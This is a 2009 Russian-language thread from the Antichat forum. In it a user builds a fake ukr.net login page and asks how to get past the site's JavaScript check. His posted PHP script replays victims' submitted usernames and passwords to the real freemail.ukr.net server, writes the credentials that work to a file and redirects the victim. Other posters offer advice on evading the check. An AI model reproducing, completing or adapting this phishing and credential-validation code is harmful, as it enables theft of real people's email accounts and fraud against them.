Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Отключенный javascript (https://forum.antichat.xyz/showthread.php?t=130961)

sNt 23.07.2009 04:55

Отключенный javascript
 
Делаю фейк ukr.net с проверкой авторизации. Идет отсылка на сервер данных, после чего анализация ответа и на основе этих данных уже выносим вердикт: верен ли пас или нет. Проблема в том, что хост проверяет наличие включенного javascript и если таковой не оправдывает ожидания, то вообще обрубает нахрен все попытки отослать запрос на авторизацию, мотвивируя тем, что без явы у вас ничего не выйдет путного. Вопрос: как можно "объяснить" серверу, что у меня ява-таки включена путем отсылки заголовков? Спасибо :)

r00nix 23.07.2009 06:49

Смею предположить, что используешь PHP. Как отправляешь запрос на сервер, соксами или с помощью curl?

sNt 23.07.2009 16:47

Сокетами

sNt 23.07.2009 16:55

Сам скрипт отправки:
PHP код:

<?php

$login 
$_POST['login'];
$pass $_POST['password'];
$domain $_POST['domainname'];

$login 'helloworld';
$pass '123456';

$fp fsockopen('freemail.ukr.net'80$errno$errstr30); 

if (!
$fp) die('<p>'.$errstr.' ('.$errno.')</p>'); 

$data "backURL=http%3A%2F%2Fwww.ukr.net%2F&Challenge=17b4577ec6c587490be96663f27bc9fb&Submit=Submit&Login=$login&Password=$pass&submit=%D0%92%D0%BE%D0%B9%D1%82%D0%B8"
$headers  "POST /q/splash HTTP/1.1\n"// отвечает за тип протокола!  
$headers .= "Host: freemail.ukr.net\n"
$headers .= "Connection: close\n";
$headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 8; Windows 5.1)\r\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";  
$headers .= "Content-Length: ".strlen($data)."\r\n\r\n".$data

fwrite($fp$headers.$data); 

while ( !
feof($fp) ) $line .= fgets($fp1024);

fclose($fp);

$auth=0;

$text="EPOSTMAILSESSIONID";
if(
preg_match("/$text/i""$line")) {$auth=1;} else {$auth=0;}
echo 
$line;
if(
$auth==1
{
$file=fopen("base.txt""a");
fwrite($file"$login@$domain:$pass\r\n");
fclose($file); { header("location: http://mail.km.ru/folders/folders.htm");} }else { header("location: index.php"); }

?>

Скрипт выведет ответ от сервера. Там все видно :)

попугай 23.07.2009 16:58

наверняка там яваскриптовый код , при нажатии кнопки входа он исполняется и какому-то параметру в hidden поле присваивается значение, которое говорит о том, что js включен. Соотвественно, если js выключен - то этого значения не будет. И уже скрипт на серваке смотрит есть ли оно или нет. Поэтому отследи все параметры передаваемые на сервак при авторизации.

sNt 23.07.2009 17:22

ща глянул... Там по ходу если что-то такое и есть, то в самом скрипте происходит т.к. нету вообще никаких опознавательных знаков, которые могли бы свидетельствовать о каких-либо проверках и тому подобого. Тупо blablabla код 'Пожалуйста, включите javascript' и т.д. Никаких проверок я не увидел. Видать, на сервере процесс происходит :(

попугай 23.07.2009 21:00

серверные скрипты не могут самостоятельно определить включен или нет яваскрипт

Pashkela 23.07.2009 21:07

всё есть на ачаде, имеющий ухи да обрящет:

https://forum.antichat.ru/showpost.php?p=1302135&postcount=33

sNt 23.07.2009 23:58

Пшкела, немного не то имхо. Мне не нужно ничего делать с этой страницей. Мне нужно дать серву понять, что у меня включен яваскрипт и все. Ничего делать в итоге мне не нужно. P.S. Он определяет наличие включенного яваскрипта сразу после захода т.е. без всяких нажатий. В коде не могу ничего найти. Помогите, плз. http://ukr.net

Pashkela 24.07.2009 00:04

ты в исходники-то смотрел? Там один сплошной яваскрипт, начиная с определения языка и etc.

Кнопок он не жал. А их жать и не надо


Время: 17:49